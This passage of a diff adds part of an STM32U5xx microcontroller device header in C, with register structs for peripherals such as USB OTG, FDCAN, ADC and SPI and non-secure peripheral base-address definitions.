DOEPDMA; /*!< dev OUT Endpoint DMA Address Register, Address offset: B00h + (ep_num * 20h) + 14h */ + __IO uint32_t Reserved18[2]; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 18h */ +} USB_OTG_OUTEndpointTypeDef; + +/** + * @brief USB_OTG_Host_Mode_Register_Structures + */ +typedef struct +{ + __IO uint32_t HCFG; /*!< Host Configuration Register, Address offset: 400h */ + __IO uint32_t HFIR; /*!< Host Frame Interval Register, Address offset: 404h */ + __IO uint32_t HFNUM; /*!< Host Frame Nbr/Frame Remaining, Address offset: 408h */ + uint32_t Reserved40C; /*!< Reserved, Address offset: 40Ch */ + __IO uint32_t HPTXSTS; /*!< Host Periodic Tx FIFO/ Queue Status, Address offset: 410h */ + __IO uint32_t HAINT; /*!< Host All Channels Interrupt Register, Address offset: 414h */ + __IO uint32_t HAINTMSK; /*!< Host All Channels Interrupt Mask, Address offset: 418h */ +} USB_OTG_HostTypeDef; + +/** + * @brief USB_OTG_Host_Channel_Specific_Registers + */ +typedef struct +{ + __IO uint32_t HCCHAR; /*!< Host Channel Characteristics Register, Address offset: 500h */ + __IO uint32_t HCSPLT; /*!< Host Channel Split Control Register, Address offset: 504h */ + __IO uint32_t HCINT; /*!< Host Channel Interrupt Register, Address offset: 508h */ + __IO uint32_t HCINTMSK; /*!< Host Channel Interrupt Mask Register, Address offset: 50Ch */ + __IO uint32_t HCTSIZ; /*!< Host Channel Transfer Size Register, Address offset: 510h */ + __IO uint32_t HCDMA; /*!< Host Channel DMA Address Register, Address offset: 514h */ + uint32_t Reserved[2]; /*!< Reserved, Address offset: 518h */ +} USB_OTG_HostChannelTypeDef; + +/** + * @brief FD Controller Area Network + */ +typedef struct +{ + __IO uint32_t CREL; /*!< FDCAN Core Release register, Address offset: 0x000 */ + __IO uint32_t ENDN; /*!< FDCAN Endian register, Address offset: 0x004 */ + uint32_t RESERVED1; /*!< Reserved, 0x008 */ + __IO uint32_t DBTP; /*!< FDCAN Data Bit Timing & Prescaler register, Address offset: 0x00C */ + __IO uint32_t TEST; /*!< FDCAN Test register, Address offset: 0x010 */ + __IO uint32_t RWD; /*!< FDCAN RAM Watchdog register, Address offset: 0x014 */ + __IO uint32_t CCCR; /*!< FDCAN CC Control register, Address offset: 0x018 */ + __IO uint32_t NBTP; /*!< FDCAN Nominal Bit Timing & Prescaler register, Address offset: 0x01C */ + __IO uint32_t TSCC; /*!< FDCAN Timestamp Counter Configuration register, Address offset: 0x020 */ + __IO uint32_t TSCV; /*!< FDCAN Timestamp Counter Value register, Address offset: 0x024 */ + __IO uint32_t TOCC; /*!< FDCAN Timeout Counter Configuration register, Address offset: 0x028 */ + __IO uint32_t TOCV; /*!< FDCAN Timeout Counter Value register, Address offset: 0x02C */ + uint32_t RESERVED2[4]; /*!< Reserved, 0x030 - 0x03C */ + __IO uint32_t ECR; /*!< FDCAN Error Counter register, Address offset: 0x040 */ + __IO uint32_t PSR; /*!< FDCAN Protocol Status register, Address offset: 0x044 */ + __IO uint32_t TDCR; /*!< FDCAN Transmitter Delay Compensation register, Address offset: 0x048 */ + uint32_t RESERVED3; /*!< Reserved, 0x04C */ + __IO uint32_t IR; /*!< FDCAN Interrupt register, Address offset: 0x050 */ + __IO uint32_t IE; /*!< FDCAN Interrupt Enable register, Address offset: 0x054 */ + __IO uint32_t ILS; /*!< FDCAN Interrupt Line Select register, Address offset: 0x058 */ + __IO uint32_t ILE; /*!< FDCAN Interrupt Line Enable register, Address offset: 0x05C */ + uint32_t RESERVED4[8]; /*!< Reserved, 0x060 - 0x07C */ + __IO uint32_t RXGFC; /*!< FDCAN Global Filter Configuration register, Address offset: 0x080 */ + __IO uint32_t XIDAM; /*!< FDCAN Extended ID AND Mask register, Address offset: 0x084 */ + __IO uint32_t HPMS; /*!< FDCAN High Priority Message Status register, Address offset: 0x088 */ + uint32_t RESERVED5; /*!< Reserved, 0x08C */ + __IO uint32_t RXF0S; /*!< FDCAN Rx FIFO 0 Status register, Address offset: 0x090 */ + __IO uint32_t RXF0A; /*!< FDCAN Rx FIFO 0 Acknowledge register, Address offset: 0x094 */ + __IO uint32_t RXF1S; /*!< FDCAN Rx FIFO 1 Status register, Address offset: 0x098 */ + __IO uint32_t RXF1A; /*!< FDCAN Rx FIFO 1 Acknowledge register, Address offset: 0x09C */ + uint32_t RESERVED6[8]; /*!< Reserved, 0x0A0 - 0x0BC */ + __IO uint32_t TXBC; /*!< FDCAN Tx Buffer Configuration register, Address offset: 0x0C0 */ + __IO uint32_t TXFQS; /*!< FDCAN Tx FIFO/Queue Status register, Address offset: 0x0C4 */ + __IO uint32_t TXBRP; /*!< FDCAN Tx Buffer Request Pending register, Address offset: 0x0C8 */ + __IO uint32_t TXBAR; /*!< FDCAN Tx Buffer Add Request register, Address offset: 0x0CC */ + __IO uint32_t TXBCR; /*!< FDCAN Tx Buffer Cancellation Request register, Address offset: 0x0D0 */ + __IO uint32_t TXBTO; /*!< FDCAN Tx Buffer Transmission Occurred register, Address offset: 0x0D4 */ + __IO uint32_t TXBCF; /*!< FDCAN Tx Buffer Cancellation Finished register, Address offset: 0x0D8 */ + __IO uint32_t TXBTIE; /*!< FDCAN Tx Buffer Transmission Interrupt Enable register, Address offset: 0x0DC */ + __IO uint32_t TXBCIE; /*!< FDCAN Tx Buffer Cancellation Finished Interrupt Enable register, Address offset: 0x0E0 */ + __IO uint32_t TXEFS; /*!< FDCAN Tx Event FIFO Status register, Address offset: 0x0E4 */ + __IO uint32_t TXEFA; /*!< FDCAN Tx Event FIFO Acknowledge register, Address offset: 0x0E8 */ +} FDCAN_GlobalTypeDef; + +/** + * @brief FD Controller Area Network Configuration + */ +typedef struct +{ + __IO uint32_t CKDIV; /*!< FDCAN clock divider register, Address offset: 0x100 + 0x000 */ + uint32_t RESERVED1[128];/*!< Reserved, 0x100 + 0x004 - 0x100 + 0x200 */ + __IO uint32_t OPTR; /*!< FDCAN option register, Address offset: 0x100 + 0x204 */ + uint32_t RESERVED2[58];/*!< Reserved, 0x100 + 0x208 - 0x100 + 0x2EC */ + __IO uint32_t HWCFG; /*!< FDCAN hardware configuration register, Address offset: 0x100 + 0x2F0 */ + __IO uint32_t VERR; /*!< FDCAN IP version register, Address offset: 0x100 + 0x2F4 */ + __IO uint32_t IPIDR; /*!< FDCAN IP ID register, Address offset: 0x100 + 0x2F8 */ + __IO uint32_t SIDR; /*!< FDCAN size ID register, Address offset: 0x100 + 0x2FC */ +} FDCAN_Config_TypeDef; + +/** + * @brief Flexible Memory Controller + */ +typedef struct +{ + __IO uint32_t BTCR[8]; /*!< NOR/PSRAM chip-select control register(BCR) and chip-select timing register(BTR), Address offset: 0x00-1C */ + __IO uint32_t PCSCNTR; /*!< PSRAM chip-select counter register, Address offset: 0x20 */ +} FMC_Bank1_TypeDef; + +/** + * @brief Flexible Memory Controller Bank1E + */ +typedef struct +{ + __IO uint32_t BWTR[7]; /*!< NOR/PSRAM write timing registers, Address offset: 0x104-0x11C */ +} FMC_Bank1E_TypeDef; + +/** + * @brief Flexible Memory Controller Bank3 + */ +typedef struct +{ + __IO uint32_t PCR; /*!< NAND Flash control register, Address offset: 0x80 */ + __IO uint32_t SR; /*!< NAND Flash FIFO status and interrupt register, Address offset: 0x84 */ + __IO uint32_t PMEM; /*!< NAND Flash Common memory space timing register, Address offset: 0x88 */ + __IO uint32_t PATT; /*!< NAND Flash Attribute memory space timing register, Address offset: 0x8C */ + uint32_t RESERVED0; /*!< Reserved, 0x90 */ + __IO uint32_t ECCR; /*!< NAND Flash ECC result registers, Address offset: 0x94 */ +} FMC_Bank3_TypeDef; + +/** + * @brief VREFBUF + */ +typedef struct +{ + __IO uint32_t CSR; /*!< VREFBUF control and status register, Address offset: 0x00 */ + __IO uint32_t CCR; /*!< VREFBUF calibration and control register, Address offset: 0x04 */ +} VREFBUF_TypeDef; + +/** + * @brief ADC + */ +typedef struct +{ + __IO uint32_t ISR; /*!< ADC Interrupt and Status Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< ADC Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< ADC control register, Address offset: 0x08 */ + __IO uint32_t CFGR1; /*!< ADC Configuration register, Address offset: 0x0C */ + __IO uint32_t CFGR2; /*!< ADC Configuration register 2, Address offset: 0x10 */ + __IO uint32_t SMPR1; /*!< ADC sample time register 1, Address offset: 0x14 */ + __IO uint32_t SMPR2; /*!< ADC sample time register 2, Address offset: 0x18 */ /* Specific to ADC 14Bits*/ + __IO uint32_t PCSEL; /*!< ADC pre-channel selection, Address offset: 0x1C */ + __IO uint32_t AWD1TR; /*!< ADC watchdog threshold register, Address offset: 0x20 */ /* Specific to ADC 12Bits*/ + __IO uint32_t AWD2TR; /*!< ADC watchdog threshold register, Address offset: 0x24 */ /* Specific to ADC 12Bits*/ + __IO uint32_t CHSELR; /*!< ADC channel select register, Address offset: 0x28 */ /* Specific to ADC 12Bits*/ + __IO uint32_t AWD3TR; /*!< ADC watchdog threshold register, Address offset: 0x2C */ /* Specific to ADC 12Bits*/ + __IO uint32_t SQR1; /*!< ADC regular sequence register 1, Address offset: 0x30 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR2; /*!< ADC regular sequence register 2, Address offset: 0x34 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR3; /*!< ADC regular sequence register 3, Address offset: 0x38 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR4; /*!< ADC regular sequence register 4, Address offset: 0x3C */ /* Specific to ADC 14Bits*/ + __IO uint32_t DR; /*!< ADC regular data register, Address offset: 0x40 */ + __IO uint32_t PWRR; /*!< ADC power register, Address offset: 0x44 */ + uint32_t RESERVED1; /*!< Reserved, 0x048 */ + __IO uint32_t JSQR; /*!< ADC injected sequence register, Address offset: 0x4C */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED2[4]; /*!< Reserved, 0x050 - 0x05C */ + __IO uint32_t OFR1; /*!< ADC offset register 1, Address offset: 0x60 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR2; /*!< ADC offset register 2, Address offset: 0x64 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR3; /*!< ADC offset register 3, Address offset: 0x68 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR4; /*!< ADC offset register 4, Address offset: 0x6C */ /* Specific to ADC 14Bits*/ + __IO uint32_t GCOMP; /*!< ADC gain compensation register, Address offset: 0x70 */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED3[3]; /*!< Reserved, 0x074 - 0x07C */ + __IO uint32_t JDR1; /*!< ADC injected data register 1, Address offset: 0x80 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR2; /*!< ADC injected data register 2, Address offset: 0x84 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR3; /*!< ADC injected data register 3, Address offset: 0x88 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR4; /*!< ADC injected data register 4, Address offset: 0x8C */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED4[4]; /*!< Reserved, 0x090 - 0x09C */ + __IO uint32_t AWD2CR; /*!< ADC Analog Watchdog 2 Configuration Register, Address offset: 0xA0 */ + __IO uint32_t AWD3CR; /*!< ADC Analog Watchdog 3 Configuration Register, Address offset: 0xA4 */ + __IO uint32_t LTR1; /*!< ADC watchdog Lower threshold register 1, Address offset: 0xA8 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR1; /*!< ADC watchdog higher threshold register 1, Address offset: 0xAC */ /* Specific to ADC 14Bits*/ + __IO uint32_t LTR2; /*!< ADC watchdog Lower threshold register 2, Address offset: 0xB0 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR2; /*!< ADC watchdog Higher threshold register 2, Address offset: 0xB4 */ /* Specific to ADC 14Bits*/ + __IO uint32_t LTR3; /*!< ADC watchdog Lower threshold register 3, Address offset: 0xB8 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR3; /*!< ADC watchdog Higher threshold register 3, Address offset: 0xBC */ /* Specific to ADC 14Bits*/ + __IO uint32_t DIFSEL; /*!< ADC Differential Mode Selection Register, Address offset: 0xC0 */ /* Specific to ADC 14Bits*/ + __IO uint32_t CALFACT; /*!< ADC Calibration Factors, Address offset: 0xC4 */ + __IO uint32_t CALFACT2; /*!< ADC Linearity Calibration Factors, Address offset: 0xC8 */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED5; /*!< Reserved, 0x0CC */ + __IO uint32_t OR; /*!< ADC Option Register, Address offset: 0xD0 */ /* Specific to ADC 12Bits*/ +} ADC_TypeDef; + +typedef struct +{ + __IO uint32_t CSR; /*!< ADC common status register, Address offset: 0x300 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x304 */ + __IO uint32_t CCR; /*!< ADC common control register, Address offset: 0x308 */ + __IO uint32_t CDR; /*!< ADC common regular data register for dual mode, Address offset: 0x30C */ + __IO uint32_t CDR2; /*!< ADC common regular data register for 32-bit dual mode, Address offset: 0x310 */ +} ADC_Common_TypeDef; + + +/* Legacy registers naming */ +#define PW PWRR + +/** + * @brief CORDIC + */ +typedef struct +{ + __IO uint32_t CSR; /*!< CORDIC control and status register, Address offset: 0x00 */ + __IO uint32_t WDATA; /*!< CORDIC argument register, Address offset: 0x04 */ + __IO uint32_t RDATA; /*!< CORDIC result register, Address offset: 0x08 */ +} CORDIC_TypeDef; + +/** + * @brief IWDG + */ +typedef struct +{ + __IO uint32_t KR; /*!< IWDG Key register, Address offset: 0x00 */ + __IO uint32_t PR; /*!< IWDG Prescaler register, Address offset: 0x04 */ + __IO uint32_t RLR; /*!< IWDG Reload register, Address offset: 0x08 */ + __IO uint32_t SR; /*!< IWDG Status register, Address offset: 0x0C */ + __IO uint32_t WINR; /*!< IWDG Window register, Address offset: 0x10 */ + __IO uint32_t EWCR; /*!< IWDG Early Wakeup register, Address offset: 0x14 */ +} IWDG_TypeDef; + +/** + * @brief SPI + */ +typedef struct +{ + __IO uint32_t CR1; /*!< SPI/I2S Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< SPI Control register 2, Address offset: 0x04 */ + __IO uint32_t CFG1; /*!< SPI Configuration register 1, Address offset: 0x08 */ + __IO uint32_t CFG2; /*!< SPI Configuration register 2, Address offset: 0x0C */ + __IO uint32_t IER; /*!< SPI Interrupt Enable register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< SPI Status register, Address offset: 0x14 */ + __IO uint32_t IFCR; /*!< SPI Interrupt/Status Flags Clear register, Address offset: 0x18 */ + __IO uint32_t AUTOCR; /*!< SPI Autonomous Mode Control register, Address offset: 0x1C */ + __IO uint32_t TXDR; /*!< SPI Transmit data register, Address offset: 0x20 */ + uint32_t RESERVED1[3]; /*!< Reserved, 0x24-0x2C */ + __IO uint32_t RXDR; /*!< SPI/I2S data register, Address offset: 0x30 */ + uint32_t RESERVED2[3]; /*!< Reserved, 0x34-0x3C */ + __IO uint32_t CRCPOLY; /*!< SPI CRC Polynomial register, Address offset: 0x40 */ + __IO uint32_t TXCRC; /*!< SPI Transmitter CRC register, Address offset: 0x44 */ + __IO uint32_t RXCRC; /*!< SPI Receiver CRC register, Address offset: 0x48 */ + __IO uint32_t UDRDR; /*!< SPI Underrun data register, Address offset: 0x4C */ +} SPI_TypeDef; + +/** + * @brief Touch Sensing Controller (TSC) + */ + +typedef struct +{ + __IO uint32_t CR; /*!< TSC control register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< TSC interrupt enable register, Address offset: 0x04 */ + __IO uint32_t ICR; /*!< TSC interrupt clear register, Address offset: 0x08 */ + __IO uint32_t ISR; /*!< TSC interrupt status register, Address offset: 0x0C */ + __IO uint32_t IOHCR; /*!< TSC I/O hysteresis control register, Address offset: 0x10 */ + uint32_t RESERVED1; /*!< Reserved, Address offset: 0x14 */ + __IO uint32_t IOASCR; /*!< TSC I/O analog switch control register, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved, Address offset: 0x1C */ + __IO uint32_t IOSCR; /*!< TSC I/O sampling control register, Address offset: 0x20 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x24 */ + __IO uint32_t IOCCR; /*!< TSC I/O channel control register, Address offset: 0x28 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x2C */ + __IO uint32_t IOGCSR; /*!< TSC I/O group control status register, Address offset: 0x30 */ + __IO uint32_t IOGXCR[8]; /*!< TSC I/O group x counter register, Address offset: 0x34-50 */ +} TSC_TypeDef; + +/** + * @brief WWDG + */ +typedef struct +{ + __IO uint32_t CR; /*!< WWDG Control register, Address offset: 0x00 */ + __IO uint32_t CFR; /*!< WWDG Configuration register, Address offset: 0x04 */ + __IO uint32_t SR; /*!< WWDG Status register, Address offset: 0x08 */ +} WWDG_TypeDef; + +/*@}*/ /* end of group STM32U5xx_peripherals */ + + +/* -------- End of section using anonymous unions and disabling warnings -------- */ +#if defined (__CC_ARM) + #pragma pop +#elif defined (__ICCARM__) + /* leave anonymous unions enabled */ +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic pop +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning restore +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Address Map ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_peripheralAddr + * @{ + */ + +/* Internal SRAMs size */ +#define SRAM1_SIZE (0xC0000UL) /*!< SRAM1=768k */ +#define SRAM2_SIZE (0x10000UL) /*!< SRAM2=64k */ +#define SRAM3_SIZE (0xD0000UL) /*!< SRAM3=832k */ +#define SRAM4_SIZE (0x04000UL) /*!< SRAM4=16k */ +#define SRAM5_SIZE (0xD0000UL) /*!< SRAM5=832k */ +#define SRAM6_SIZE (0x80000UL) /*!< SRAM6=512k */ + +/* External memories base addresses - Not aliased */ +#define FMC_BASE (0x60000000UL) /*!< FMC base address */ +#define OCTOSPI2_BASE (0x70000000UL) /*!< OCTOSPI2 memories accessible over AHB base address */ +#define OCTOSPI1_BASE (0x90000000UL) /*!< OCTOSPI1 memories accessible over AHB base address */ +#define HSPI1_BASE (0xA0000000UL) /*!< HSPI1 memories accessible over AHB base address */ + +#define FMC_BANK1 FMC_BASE +#define FMC_BANK1_1 FMC_BANK1 +#define FMC_BANK1_2 (FMC_BANK1 + 0x04000000UL) +#define FMC_BANK1_3 (FMC_BANK1 + 0x08000000UL) +#define FMC_BANK1_4 (FMC_BANK1 + 0x0C000000UL) +#define FMC_BANK3 (FMC_BASE + 0x20000000UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Non secure */ +#define FLASH_BASE_NS (0x08000000UL) /*!< FLASH (4 MB) non-secure base address */ +#define SRAM1_BASE_NS (0x20000000UL) /*!< SRAM1 (768 KB) non-secure base address */ +#define SRAM2_BASE_NS (0x200C0000UL) /*!< SRAM2 (64 KB) non-secure base address */ +#define SRAM3_BASE_NS (0x200D0000UL) /*!< SRAM3 (832 KB) non-secure base address */ +#define SRAM4_BASE_NS (0x28000000UL) /*!< SRAM4 (16 KB) non-secure base address */ +#define SRAM5_BASE_NS (0x201A0000UL) /*!< SRAM5 (832 KB) non-secure base address */ +#define SRAM6_BASE_NS (0x20270000UL) /*!< SRAM6 (512 KB) non-secure base address */ +#define PERIPH_BASE_NS (0x40000000UL) /*!< Peripheral non-secure base address */ + +/* Peripheral memory map - Non secure */ +#define APB1PERIPH_BASE_NS PERIPH_BASE_NS +#define APB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00010000UL) +#define AHB1PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00020000UL) +#define AHB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x02020000UL) +#define APB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06000000UL) +#define AHB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06020000UL) + +/*!< APB1 Non secure peripherals */ +#define TIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x0000UL) +#define TIM3_BASE_NS (APB1PERIPH_BASE_NS + 0x0400UL) +#define TIM4_BASE_NS (APB1PERIPH_BASE_NS + 0x0800UL) +#define TIM5_BASE_NS (APB1PERIPH_BASE_NS + 0x0C00UL) +#define TIM6_BASE_NS (APB1PERIPH_BASE_NS + 0x1000UL) +#define TIM7_BASE_NS (APB1PERIPH_BASE_NS + 0x1400UL) +#define WWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x2C00UL) +#define IWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x3000UL) +#define SPI2_BASE_NS (APB1PERIPH_BASE_NS + 0x3800UL) +#define USART2_BASE_NS (APB1PERIPH_BASE_NS + 0x4400UL) +#define USART3_BASE_NS (APB1PERIPH_BASE_NS + 0x4800UL) +#define UART4_BASE_NS (APB1PERIPH_BASE_NS + 0x4C00UL) +#define UART5_BASE_NS (APB1PERIPH_BASE_NS + 0x5000UL) +#define I2C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5400UL) +#define I2C2_BASE_NS (APB1PERIPH_BASE_NS + 0x5800UL) +#define CRS_BASE_NS (APB1PERIPH_BASE_NS + 0x6000UL) +#define USART6_BASE_NS (APB1PERIPH_BASE_NS + 0x6400UL) +#define I2C4_BASE_NS (APB1PERIPH_BASE_NS + 0x8400UL) +#define LPTIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x9400UL) +#define I2C5_BASE_NS (APB1PERIPH_BASE_NS + 0x9800UL) +#define I2C6_BASE_NS (APB1PERIPH_BASE_NS + 0x9C00UL) +#define FDCAN1_BASE_NS (APB1PERIPH_BASE_NS + 0xA400UL) +#define FDCAN_CONFIG_BASE_NS (APB1PERIPH_BASE_NS + 0xA500UL) +#define SRAMCAN_BASE_NS (APB1PERIPH_BASE_NS + 0xAC00UL) +#define UCPD1_BASE_NS (APB1PERIPH_BASE_NS + 0xDC00UL) + +/*!< APB2 Non secure peripherals */ +#define TIM1_BASE_NS (APB2PERIPH_BASE_NS + 0x2C00UL) +#define SPI1_BASE_NS (APB2PERIPH_BASE_NS + 0x3000UL) +#define TIM8_BASE_NS (APB2PERIPH_BASE_NS + 0x3400UL) +#define USART1_BASE_NS (APB2PERIPH_BASE_NS + 0x3800UL) +#define TIM15_BASE_NS (APB2PERIPH_BASE_NS + 0x4000UL) +#define TIM16_BASE_NS (APB2PERIPH_BASE_NS + 0x4400UL) +#define TIM17_BASE_NS (APB2PERIPH_BASE_NS + 0x4800UL) +#define SAI1_BASE_NS (APB2PERIPH_BASE_NS + 0x5400UL) +#define SAI1_Block_A_BASE_NS (SAI1_BASE_NS + 0x004UL) +#define SAI1_Block_B_BASE_NS (SAI1_BASE_NS + 0x024UL) +#define SAI2_BASE_NS (APB2PERIPH_BASE_NS + 0x5800UL) +#define SAI2_Block_A_BASE_NS (SAI2_BASE_NS + 0x004UL) +#define SAI2_Block_B_BASE_NS (SAI2_BASE_NS + 0x024UL) +#define LTDC_BASE_NS (APB2PERIPH_BASE_NS + 0x6800UL) +#define LTDC_Layer1_BASE_NS (LTDC_BASE_NS + 0x0084UL) +#define LTDC_Layer2_BASE_NS (LTDC_BASE_NS + 0x0104UL) +#define GFXTIM_BASE_NS (APB2PERIPH_BASE_NS + 0x6400UL) +#define DSI_BASE_NS (APB2PERIPH_BASE_NS + 0x6C00UL) +#define REFBIAS_BASE_NS (DSI_BASE_NS + 0x800UL) +#define DPHY_BASE_NS (DSI_BASE_NS + 0xC00UL) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_BASE_NS (APB3PERIPH_BASE_NS + 0x0400UL) +#define SPI3_BASE_NS (APB3PERIPH_BASE_NS + 0x2000UL) +#define LPUART1_BASE_NS (APB3PERIPH_BASE_NS + 0x2400UL) +#define I2C3_BASE_NS (APB3PERIPH_BASE_NS + 0x2800UL) +#define LPTIM1_BASE_NS (APB3PERIPH_BASE_NS + 0x4400UL) +#define LPTIM3_BASE_NS (APB3PERIPH_BASE_NS + 0x4800UL) +#define LPTIM4_BASE_NS (APB3PERIPH_BASE_NS + 0x4C00UL) +#define OPAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP1_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP2_BASE_NS (APB3PERIPH_BASE_NS + 0x5010UL) +#define COMP12_BASE_NS (APB3PERIPH_BASE_NS + 0x5400UL) +#define COMP1_BASE_NS (COMP12_BASE_NS) +#define COMP2_BASE_NS (COMP12_BASE_NS + 0x04UL) +#define VREFBUF_BASE_NS (APB3PERIPH_BASE_NS + 0x7400UL) +#define RTC_BASE_NS (APB3PERIPH_BASE_NS + 0x7800UL) +#define TAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x7C00UL) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_BASE_NS (AHB1PERIPH_BASE_NS) +#define GPDMA1_Channel0_BASE_NS (GPDMA1_BASE_NS + 0x0050UL) +#define GPDMA1_Channel1_BASE_NS (GPDMA1_BASE_NS + 0x00D0UL) +#define GPDMA1_Channel2_BASE_NS (GPDMA1_BASE_NS + 0x0150UL) +#define GPDMA1_Channel3_BASE_NS (GPDMA1_BASE_NS + 0x01D0UL) +#define GPDMA1_Channel4_BASE_NS (GPDMA1_BASE_NS + 0x0250UL) +#define GPDMA1_Channel5_BASE_NS (GPDMA1_BASE_NS + 0x02D0UL) +#define GPDMA1_Channel6_BASE_NS (GPDMA1_BASE_NS + 0x0350UL) +#define GPDMA1_Channel7_BASE_NS (GPDMA1_BASE_NS + 0x03D0UL) +#define GPDMA1_Channel8_BASE_NS (GPDMA1_BASE_NS + 0x0450UL) +#define GPDMA1_Channel9_BASE_NS (GPDMA1_BASE_NS + 0x04D0UL) +#define GPDMA1_Channel10_BASE_NS (GPDMA1_BASE_NS + 0x0550UL) +#define GPDMA1_Channel11_BASE_NS (GPDMA1_BASE_NS + 0x05D0UL) +#define GPDMA1_Channel12_BASE_NS (GPDMA1_BASE_NS + 0x0650UL) +#define GPDMA1_Channel13_BASE_NS (GPDMA1_BASE_NS + 0x06D0UL) +#define GPDMA1_Channel14_BASE_NS (GPDMA1_BASE_NS + 0x0750UL) +#define GPDMA1_Channel15_BASE_NS (GPDMA1_BASE_NS + 0x07D0UL) +#define CORDIC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01000UL) +#define FMAC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01400UL) +#define FLASH_R_BASE_NS (AHB1PERIPH_BASE_NS + 0x02000UL) +#define CRC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03000UL) +#define TSC_BASE_NS (AHB1PERIPH_BASE_NS + 0x04000UL) +#define MDF1_BASE_NS (AHB1PERIPH_BASE_NS + 0x05000UL) +#define MDF1_Filter0_BASE_NS (MDF1_BASE_NS + 0x80UL) +#define MDF1_Filter1_BASE_NS (MDF1_BASE_NS + 0x100UL) +#define MDF1_Filter2_BASE_NS (MDF1_BASE_NS + 0x180UL) +#define MDF1_Filter3_BASE_NS (MDF1_BASE_NS + 0x200UL) +#define MDF1_Filter4_BASE_NS (MDF1_BASE_NS + 0x280UL) +#define MDF1_Filter5_BASE_NS (MDF1_BASE_NS + 0x300UL) +#define RAMCFG_BASE_NS (AHB1PERIPH_BASE_NS + 0x06000UL) +#define RAMCFG_SRAM1_BASE_NS (RAMCFG_BASE_NS) +#define RAMCFG_SRAM2_BASE_NS (RAMCFG_BASE_NS + 0x0040UL) +#define RAMCFG_SRAM3_BASE_NS (RAMCFG_BASE_NS + 0x0080UL) +#define RAMCFG_SRAM4_BASE_NS (RAMCFG_BASE_NS + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_NS (RAMCFG_BASE_NS + 0x0100UL) +#define RAMCFG_SRAM5_BASE_NS (RAMCFG_BASE_NS + 0x0140UL) +#define RAMCFG_SRAM6_BASE_NS (RAMCFG_BASE_NS + 0x0180UL) +#define JPEG_BASE_NS (AHB1PERIPH_BASE_NS + 0x0A000UL) +#define DMA2D_BASE_NS (AHB1PERIPH_BASE_NS + 0x0B000UL) +#define GFXMMU_BASE_NS (AHB1PERIPH_BASE_NS + 0x0C000UL) +#define GPU2D_BASE_NS (AHB1PERIPH_BASE_NS + 0x0F000UL) +#define ICACHE_BASE_NS (AHB1PERIPH_BASE_NS + 0x10400UL) +#define DCACHE1_BASE_NS (AHB1PERIPH_BASE_NS + 0x11400UL) +#define DCACHE2_BASE_NS (AHB1PERIPH_BASE_NS + 0x11800UL) +#define GTZC_TZSC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12400UL) +#define GTZC_TZIC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12800UL) +#define GTZC_MPCBB1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12C00UL) +#define GTZC_MPCBB2_BASE_NS (AHB1PERIPH_BASE_NS + 0x13000UL) +#define GTZC_MPCBB3_BASE_NS (AHB1PERIPH_BASE_NS + 0x13400UL) +#define GTZC_MPCBB5_BASE_NS (AHB1PERIPH_BASE_NS + 0x13800UL) +#define GTZC_MPCBB6_BASE_NS (AHB1PERIPH_BASE_NS + 0x13C00UL) +#define BKPSRAM_BASE_NS (AHB1PERIPH_BASE_NS + 0x16400UL) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_BASE_NS (AHB2PERIPH_BASE_NS + 0x00000UL) +#define GPIOB_BASE_NS (AHB2PERIPH_BASE_NS + 0x00400UL) +#define GPIOC_BASE_NS (AHB2PERIPH_BASE_NS + 0x00800UL) +#define 